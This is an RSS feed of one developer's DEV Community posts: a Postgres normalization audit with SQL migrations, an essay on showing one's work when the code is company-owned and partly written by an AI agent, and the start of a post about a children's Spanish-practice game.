<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Valentina Koniukhova</title>
    <description>The latest articles on DEV Community by Valentina Koniukhova (@yahhi).</description>
    <link>https://dev.to/yahhi</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2850502%2F85cbcdbd-b8ed-4b7f-8492-d9def68755c5.jpeg</url>
      <title>DEV Community: Valentina Koniukhova</title>
      <link>https://dev.to/yahhi</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/yahhi"/>
    <language>en</language>
    <item>
      <title>Normalization vs denormalization in a real Postgres schema: what I fixed, and the copy I kept</title>
      <dc:creator>Valentina Koniukhova</dc:creator>
      <pubDate>Sun, 11 Oct 2026 03:55:35 +0000</pubDate>
      <link>https://dev.to/yahhi/normalization-vs-denormalization-in-a-real-postgres-schema-what-i-fixed-and-the-copy-i-kept-1k1b</link>
      <guid>https://dev.to/yahhi/normalization-vs-denormalization-in-a-real-postgres-schema-what-i-fixed-and-the-copy-i-kept-1k1b</guid>
      <description>&lt;p&gt;If you own a product, you should know it all the way down. In many products, the database is the main part: it's where every customer, every message and every decision actually lives. Screens change every month; the data stays. So it has to be well structured, and it has to be usable by the app that sits on top of it.&lt;/p&gt;

&lt;p&gt;For the structure part, we have an old, well-known answer: the normal forms, and above all 3NF. For the usable part, the textbook isn't enough. A serverless mobile app talks to the database directly from the phone, and access rules, latency and the absence of a backend in between all push back on the textbook. Some differences have to be made on purpose.&lt;/p&gt;

&lt;p&gt;My app, Hearback, drafts replies to comments on my posts. It runs on Postgres (Supabase) with about 25 tables. I built it with an AI coding agent in three days: 17 migrations, one feature after another. Every feature worked, and the tests passed.&lt;/p&gt;

&lt;p&gt;Then I went back to the basics and checked the whole schema against the normal forms. I didn't use a blog summary; I used the papers that defined them.&lt;/p&gt;

&lt;h2&gt;
  
  
  What an ordinary agent build gives you
&lt;/h2&gt;

&lt;p&gt;A usual build with an agent, without asking for anything special in this area, does not produce a 3NF database. The agent makes each feature work. When a value is handy to have on a row, it puts it there, and the schema grows copies one reasonable step at a time.&lt;/p&gt;

&lt;p&gt;Here's what the audit found in my existing setup:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What&lt;/th&gt;
&lt;th&gt;Count&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Columns that repeated or recomputed another fact (2NF and 3NF)&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Derived values maintained by hand in app code (one writer forgot)&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Arrays used as hidden tables (1NF)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Copies with no guarantee they match their parent (cross-project or cross-person mismatches possible)&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Places where the same fact could disagree with itself&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;22&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Duplicates reviewed and kept on purpose, with the reason written down&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The good news: on the live data, none of them had gone wrong yet. Nothing was broken. It just had 22 ways to break silently later, and no test would have caught it.&lt;/p&gt;

&lt;p&gt;The other good news: the same agent did the audit well once I asked for it explicitly, with the original sources in hand. &lt;strong&gt;Database structure is something you have to ask for.&lt;/strong&gt; It doesn't come out of "make this feature work".&lt;/p&gt;

&lt;p&gt;Most of the duplication went away. One copy I kept on purpose. This post is about both: what normalization actually buys you, and how to break it deliberately without losing that.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fesqa4s0z3i1w2hlxzzkx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fesqa4s0z3i1w2hlxzzkx.png" alt="ER diagram of Hearback's conversation tables. project_id columns are marked " width="800" height="396"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The whole theory in one line
&lt;/h2&gt;

&lt;p&gt;William Kent's &lt;a href="https://www.bkent.net/Doc/simple5.htm" rel="noopener noreferrer"&gt;A Simple Guide to Five Normal Forms&lt;/a&gt; (1983) is still the clearest text on this. His summary:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Every non-key field must provide a fact about the key, the whole key, and nothing but the key.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;1NF:&lt;/strong&gt; one value per field. No lists you search inside.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2NF:&lt;/strong&gt; "the whole key". If the key has two columns, nothing may depend on just one of them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;3NF:&lt;/strong&gt; "nothing but the key". Nothing may be derivable from another non-key column or from a parent row.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Why bother? Because &lt;strong&gt;a fact stored twice will eventually disagree with itself&lt;/strong&gt;, and then nobody knows which copy is true. Normal forms are a checklist for finding the places where that can happen.&lt;/p&gt;

&lt;h2&gt;
  
  
  Before touching anything: count
&lt;/h2&gt;

&lt;p&gt;Before writing a single constraint, I counted on the live data how many rows each new rule would break. These were read-only queries, like this one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Does any item claim a different project than its author?&lt;/span&gt;
&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="k"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;items&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;
&lt;span class="k"&gt;join&lt;/span&gt; &lt;span class="n"&gt;people&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;person_id&lt;/span&gt;
&lt;span class="k"&gt;where&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;project_id&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;project_id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All zero. That's what made the rest a calm afternoon instead of a data-repair weekend.&lt;/p&gt;

&lt;h2&gt;
  
  
  What normalization fixed
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2NF: a link table that knew too much
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;idea_items&lt;/code&gt; connects feature ideas to the comments that asked for them. Its key is &lt;code&gt;(idea_id, item_id)&lt;/code&gt;. It also stored &lt;code&gt;person_id&lt;/code&gt;, who wrote the comment.&lt;/p&gt;

&lt;p&gt;But the person depends on the item alone. That's half the key: a textbook 2NF violation. My "how many people asked for this" counter read that copy, so if two person records were ever merged, the counter would quietly go wrong.&lt;/p&gt;

&lt;p&gt;Fix: drop the column and read the person through the item. The count moved into a trigger that also re-counts when an item changes hands.&lt;/p&gt;

&lt;h3&gt;
  
  
  3NF: children repeating their parents
&lt;/h3&gt;

&lt;p&gt;Text chunks (for retrieval) repeated their document's &lt;code&gt;kind&lt;/code&gt;, &lt;code&gt;label&lt;/code&gt; and URL. Every chunk of a document had to agree with the document, and nothing enforced it. I dropped those columns. The search function joins &lt;code&gt;documents&lt;/code&gt; now and returns exactly the same shape as before.&lt;/p&gt;

&lt;h3&gt;
  
  
  Derived values, written by hand
&lt;/h3&gt;

&lt;p&gt;This is where I found the most. Each case got one of two fixes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A function of the same row → a generated column.&lt;/strong&gt; &lt;code&gt;is_public&lt;/code&gt; was just &lt;code&gt;label = 'quotable'&lt;/code&gt; stored twice. Token totals were sums of a JSON breakdown sitting next to them.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;  &lt;span class="k"&gt;alter&lt;/span&gt; &lt;span class="k"&gt;table&lt;/span&gt; &lt;span class="n"&gt;drafts&lt;/span&gt; &lt;span class="k"&gt;add&lt;/span&gt; &lt;span class="k"&gt;column&lt;/span&gt; &lt;span class="n"&gt;tokens_in&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt; &lt;span class="k"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;always&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;'input'&lt;/span&gt;&lt;span class="p"&gt;)::&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;
    &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;coalesce&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;'cache_read'&lt;/span&gt;&lt;span class="p"&gt;)::&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;coalesce&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;'cache_write'&lt;/span&gt;&lt;span class="p"&gt;)::&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;stored&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Postgres computes it, and nobody can write it wrong. (An insert that tries to set it fails, so update your writers first.)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;An aggregate over other rows → a trigger as the only writer.&lt;/strong&gt; "Last touched" dates were kept by read-then-write in app code. Two writers at once could lose an update, and one code path forgot to update them at all. Now a trigger on the &lt;code&gt;touches&lt;/code&gt; table does it, with &lt;code&gt;greatest()&lt;/code&gt;/&lt;code&gt;least()&lt;/code&gt;, which is safe under concurrent inserts.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  1NF: an array that was a table
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;plans.allowed_models&lt;/code&gt; was a text array, searched with &lt;code&gt;= any(...)&lt;/code&gt; in three functions. A list you search inside is a relation in disguise, so it became a &lt;code&gt;plan_models&lt;/code&gt; table, with an &lt;code&gt;ord&lt;/code&gt; column so the app keeps its order.&lt;/p&gt;

&lt;h2&gt;
  
  
  When to denormalize: the copy I kept
&lt;/h2&gt;

&lt;p&gt;Here's the one place I broke 3NF on purpose: &lt;code&gt;project_id&lt;/code&gt; on child tables. People, items, touches and chunks each carry the project they belong to, even though their parent already knows it.&lt;/p&gt;

&lt;p&gt;Why would you denormalize data? I had two reasons.&lt;/p&gt;

&lt;p&gt;This is the serverless mobile part. There is no backend of mine between the phone and the database.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security.&lt;/strong&gt; On Supabase, the app talks to Postgres directly, and &lt;a href="https://www.postgresql.org/docs/current/ddl-rowsecurity.html" rel="noopener noreferrer"&gt;row-level security&lt;/a&gt; decides which rows each user sees. A policy that checks the row itself is simple and cheap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="n"&gt;members_all&lt;/span&gt; &lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="n"&gt;items&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;all&lt;/span&gt;
  &lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_member&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;project_id&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Without the column, every policy would need a join through the parent, on every row of every query.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Performance.&lt;/strong&gt; The inbox and the vector search both filter by project first, using indexes on that column.&lt;/p&gt;

&lt;p&gt;So the copy stays. &lt;strong&gt;What was wrong wasn't the copy; it was that nothing stopped it from lying.&lt;/strong&gt; An item could claim project A while its author lived in project B, and the policy would trust the claim.&lt;/p&gt;

&lt;h2&gt;
  
  
  Keep the copy, make the database guard it
&lt;/h2&gt;

&lt;p&gt;The fix is a composite foreign key. The parent exposes the pair:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;alter&lt;/span&gt; &lt;span class="k"&gt;table&lt;/span&gt; &lt;span class="n"&gt;people&lt;/span&gt; &lt;span class="k"&gt;add&lt;/span&gt; &lt;span class="k"&gt;constraint&lt;/span&gt; &lt;span class="n"&gt;people_id_project&lt;/span&gt; &lt;span class="k"&gt;unique&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;project_id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the child references the pair instead of the id alone:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;alter&lt;/span&gt; &lt;span class="k"&gt;table&lt;/span&gt; &lt;span class="n"&gt;items&lt;/span&gt;
  &lt;span class="k"&gt;drop&lt;/span&gt; &lt;span class="k"&gt;constraint&lt;/span&gt; &lt;span class="n"&gt;items_person_id_fkey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="k"&gt;add&lt;/span&gt; &lt;span class="k"&gt;constraint&lt;/span&gt; &lt;span class="n"&gt;items_person_fkey&lt;/span&gt;
    &lt;span class="k"&gt;foreign&lt;/span&gt; &lt;span class="k"&gt;key&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;person_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;project_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;references&lt;/span&gt; &lt;span class="n"&gt;people&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;project_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="k"&gt;delete&lt;/span&gt; &lt;span class="k"&gt;cascade&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now &lt;code&gt;items.project_id&lt;/code&gt; can only hold the person's real project. RLS still checks one local column, and that column is now guaranteed correct.&lt;/p&gt;

&lt;p&gt;The same trick checks more than tenancy:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;An item's account must be on the item's platform: &lt;code&gt;(account_id, project_id, platform)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A touch about an item must be with that item's author: &lt;code&gt;(item_id, project_id, person_id)&lt;/code&gt;, with &lt;code&gt;on update cascade&lt;/code&gt; so it follows if the item moves to another person.&lt;/li&gt;
&lt;li&gt;For a nullable reference that should clear on delete, Postgres 15+ lets you null only one column: &lt;code&gt;on delete set null (theme_id)&lt;/code&gt;. Otherwise you'd wipe the tenant column too.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What I left alone, and wrote down why
&lt;/h2&gt;

&lt;p&gt;Not every duplicate is a bug. I kept these, with the reason written as a comment in the migration:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Snapshots.&lt;/strong&gt; A thread as it looked when fetched is a fact about that moment, not a copy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A URL column&lt;/strong&gt; that sometimes holds a link that can't be derived from other columns.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A hash computed in JavaScript&lt;/strong&gt; before insert. A generated column in Postgres might normalize whitespace differently.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you can't write down why a copy exists, that's your sign to remove it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Don't forget your API layer
&lt;/h2&gt;

&lt;p&gt;Composite foreign keys add relationships, and tools that infer joins from foreign keys can get confused. PostgREST (Supabase's REST layer) picks the join from the foreign keys. After the change there were two between &lt;code&gt;plans&lt;/code&gt; and &lt;code&gt;plan_models&lt;/code&gt;: a plan's models, and the plan's default model. That makes a plain embedded select ambiguous, so I named the constraint in the query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;plans?select=id,default_model,plan_models!plan_models_plan_fkey(model)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So after the migration, re-run every embedded query your app and functions use, not just your SQL tests. I did this on a local Supabase (&lt;code&gt;supabase start&lt;/code&gt;), inserted deliberately bad rows to confirm they were rejected, then deployed the migration and the server code together and ran the end-to-end suite.&lt;/p&gt;

&lt;h2&gt;
  
  
  The balance
&lt;/h2&gt;

&lt;p&gt;Normalization isn't a purity test. It's how you, as the owner, know where every fact in your product lives. The app's real constraints decide where you bend it. The working rule I ended up with:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Audit against 1NF, 2NF and 3NF, using the original definitions. If an agent builds your app, ask it for this audit explicitly; it won't happen on its own.&lt;/li&gt;
&lt;li&gt;For each duplicate, choose: &lt;strong&gt;remove it&lt;/strong&gt;, &lt;strong&gt;compute it&lt;/strong&gt; (generated column), &lt;strong&gt;cache it&lt;/strong&gt; (trigger as the only writer), or &lt;strong&gt;keep it and enforce it&lt;/strong&gt; (composite foreign key).&lt;/li&gt;
&lt;li&gt;Count violations on live data before adding any constraint.&lt;/li&gt;
&lt;li&gt;Write the reason next to every copy you keep.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Remember the basics, then break them deliberately, with the database holding the line.&lt;/p&gt;




&lt;p&gt;The step-by-step versions, including a read-only check you can run on your own schema:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://worklore.dev/s/2026-10-11-database-normalization-example-the-1nf-2nf-and-3nf-problems-" rel="noopener noreferrer"&gt;Database normalization example: the 1NF, 2NF and 3NF problems in my live Postgres schema&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://worklore.dev/s/2026-10-11-normalization-vs-denormalization-the-copy-i-kept-on-purpose-" rel="noopener noreferrer"&gt;Normalization vs denormalization: the copy I kept on purpose, and how Postgres guards it&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Have you kept a copy on purpose? I'd like to hear what made it worth it, and what keeps it honest.&lt;/p&gt;

</description>
      <category>postgres</category>
      <category>database</category>
      <category>ai</category>
      <category>sqlserver</category>
    </item>
    <item>
      <title>Show your work when the code isn't yours</title>
      <dc:creator>Valentina Koniukhova</dc:creator>
      <pubDate>Wed, 07 Oct 2026 16:42:12 +0000</pubDate>
      <link>https://dev.to/yahhi/show-your-work-when-the-code-isnt-yours-1m20</link>
      <guid>https://dev.to/yahhi/show-your-work-when-the-code-isnt-yours-1m20</guid>
      <description>&lt;p&gt;Austin Kleon's &lt;em&gt;Show Your Work!&lt;/em&gt; is a short book with one big idea: don't wait until something is finished to share it. Share the process: the small steps, what you're learning, what inspires you, and the story behind the result. Post something small every day, teach what you know, and don't turn into spam. Kleon's promise is that people find you through what you share, and some of them start helping you.&lt;/p&gt;

&lt;p&gt;When I tried to apply it to my own work as a developer, I looked at how others do it. The advice I found online came down to a few variants: post screenshots of the code and the app as they grow, keep a public log of what you got done each day, or write up how you thought about a problem. Even people who suggest the screenshots admit that code that doesn't work yet looks pretty boring.&lt;/p&gt;

&lt;p&gt;These are fine ideas, but they skip the harder case, and in 2026 that case is most of us. You work on a team. The code belongs to the company. You can't put it on GitHub, and you can't screenshot it either. And half of it was written by an AI agent anyway.&lt;/p&gt;

&lt;p&gt;So what do you show?&lt;/p&gt;

&lt;h2&gt;
  
  
  Your repo now shows what your agent can do
&lt;/h2&gt;

&lt;p&gt;Here's the part I expect some of you to disagree with. When an agent writes most of the code in minutes, a clean repository says more about the agent than about you. Anyone with the same agent can produce similar code. What they can't produce is everything around it: what you decided, what you checked, where the agent was confidently wrong and how you noticed.&lt;/p&gt;

&lt;p&gt;That's the work that's actually yours now. And unlike company code, most of it can be shared, once you strip the names.&lt;/p&gt;

&lt;h2&gt;
  
  
  Six things a developer on a team can show
&lt;/h2&gt;

&lt;p&gt;Each of these comes from my own last few weeks. I work mostly with Claude Code on a small product, and the same patterns show up in team work.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. A decision and the alternatives you turned down.&lt;/strong&gt; It proves judgement, the one thing an agent doesn't have about your project. My example: a directory that ranks MCP servers gave mine 98 out of 100 and took off two points because my tool names weren't dotted, like &lt;code&gt;stories.search&lt;/code&gt;. I kept them undotted on purpose: the function-name rules of the big model providers reject dots, so the "better" names would break the clients my server exists for. Nothing about this needs the code to explain it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. A failure and how you found the cause.&lt;/strong&gt; Mine: Google started calling my pages "soft 404", pages that opened fine in any browser. The cause was one line in robots.txt that blocked the API my pages load their content from. Google renders pages the way a browser does, wasn't allowed to fetch the data, and saw my app's "not found" screen. To share a failure like this from a company system, keep the mechanism and drop the names: "a rule meant for one thing blocked another" travels to any stack.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. How you checked the agent's work.&lt;/strong&gt; This is the skill that matters most now, and the one nobody sees. Three examples from one week. My live test of my server checked for exactly the wrong error code: the agent and I had written down what the server did and called it correct, and the test passed for days. A real client, through a third-party testing tool, threw an exception on the same response. And a statistics block on my site worked in every test, then stayed empty in production: the CDN's security policy blocked inline scripts, and the test browser didn't apply that policy. The third one I caught this morning: Google's Search Console listed pages on my site that don't exist, all ending in &lt;code&gt;.mdread-only&lt;/code&gt;. On every story page, a link to the story's raw text file sat right next to a "read-only" label. On screen there was a gap between them; in the page's text there wasn't, so Google read the two as one address and tried to crawl it. One space fixed it, and no test of mine would have caught it, because nothing looked wrong. All three times the agent's work was "done". Noticing it wasn't was my job.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. The instructions you gave the agent after it went wrong.&lt;/strong&gt; A rule in your agent's instructions file, a check you added to the deploy, a reusable skill. These show that you can steer, not just prompt. After the security-policy bug, my deploy now refuses to ship a page with an inline script. After a listing of my server drifted from what the server actually did, the deploy fails if the server's public surface changes without a version bump. Each rule is two lines, and each one is a story.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Numbers before and after.&lt;/strong&gt; Impact is easy to share even when the system isn't. "Google stopped calling my pages soft 404s two days after the fix" or "the check now catches it before release" says more than a diff.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. What you'd do differently.&lt;/strong&gt; A short, honest postmortem. People trust it more than a success story, and it's often the most useful thing for someone a step behind you.&lt;/p&gt;

&lt;h2&gt;
  
  
  Teach what you know, to someone else's agent
&lt;/h2&gt;

&lt;p&gt;Kleon's best chapter is "Teach what you know". With agents there's a new twist: you can write your experience so that another person's agent can repeat it in their own project. That's what I'm building with &lt;a href="https://worklore.dev/?utm_source=devto" rel="noopener noreferrer"&gt;worklore.dev&lt;/a&gt;: short stories with what was tried, what broke, what finally worked, plus the steps a stranger's agent runs and a check that it worked. When someone's agent reproduces a story, it's counted on the page.&lt;/p&gt;

&lt;p&gt;And it doesn't have to be public. For things you can't generalise enough to share, a private story is still worth writing: in a couple of months you won't remember the details, and your own agent will be able to repeat what you did.&lt;/p&gt;

&lt;p&gt;Showing my work this way already paid back. My article about building an MCP server started two conversations with strangers in dev.to comments, and both turned into features in my product: a check that the server's surface can't change silently, and a set of tests that go through a real client. Kleon calls this "scenius": good work comes out of a group of people showing each other what they do, not out of one person working alone. I wouldn't have found either idea on my own.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to share work from inside a company
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Keep the mechanism, drop the names.&lt;/strong&gt; "An internal service", "a payment step", "our CDN". The lesson almost never depends on the brand.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Share the reasoning, not the artefact.&lt;/strong&gt; Why you chose something, how you tested it, what you'd change.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ask once, then you'll know the line.&lt;/strong&gt; Most leads are fine with an anonymised lesson. If not, write it privately.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Small is fine.&lt;/strong&gt; One problem, one fix, 300 words. Kleon is right that the small steps are the part people want to see.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  So what would you show?
&lt;/h2&gt;

&lt;p&gt;If you couldn't show a single line of code, what would you show about your work? I'd really like to know what other developers on teams share, and what they've been told they can't.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>career</category>
      <category>productivity</category>
      <category>discuss</category>
    </item>
    <item>
      <title>Mi Barrio: my kids practice Argentine Spanish with AI shopkeepers that live on the phone</title>
      <dc:creator>Valentina Koniukhova</dc:creator>
      <pubDate>Sun, 04 Oct 2026 02:58:16 +0000</pubDate>
      <link>https://dev.to/yahhi/mi-barrio-my-kids-practice-argentine-spanish-with-ai-shopkeepers-that-live-on-the-phone-3i4l</link>
      <guid>https://dev.to/yahhi/mi-barrio-my-kids-practice-argentine-spanish-with-ai-shopkeepers-that-live-on-the-phone-3i4l</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/hacktoberfest-weekend-2026-10-01"&gt;Hacktoberfest Weekend Challenge: Build for a Friend&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;My children are 9 and 10. Their first language is Russian, and they have to learn Spanish, specifically the Argentine kind, where people say &lt;em&gt;vos querés&lt;/em&gt; instead of &lt;em&gt;tú quieres&lt;/em&gt; and the bakery sells &lt;em&gt;medialunas&lt;/em&gt;, not croissants.&lt;/p&gt;

&lt;p&gt;We tried online teachers, both Russian-speaking and Spanish-speaking. Progress was slow. The lessons were about grammar, and my kids needed something different: a reason to open their mouths, and situations from real life where the words actually matter.&lt;/p&gt;

&lt;p&gt;So I built &lt;strong&gt;Mi Barrio&lt;/strong&gt; ("my neighborhood"), an iPhone game set in a small Buenos Aires block with three shops:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;La panadería&lt;/strong&gt;: Doña Rosa, a grandmotherly baker, sells medialunas and alfajores.&lt;/li&gt;
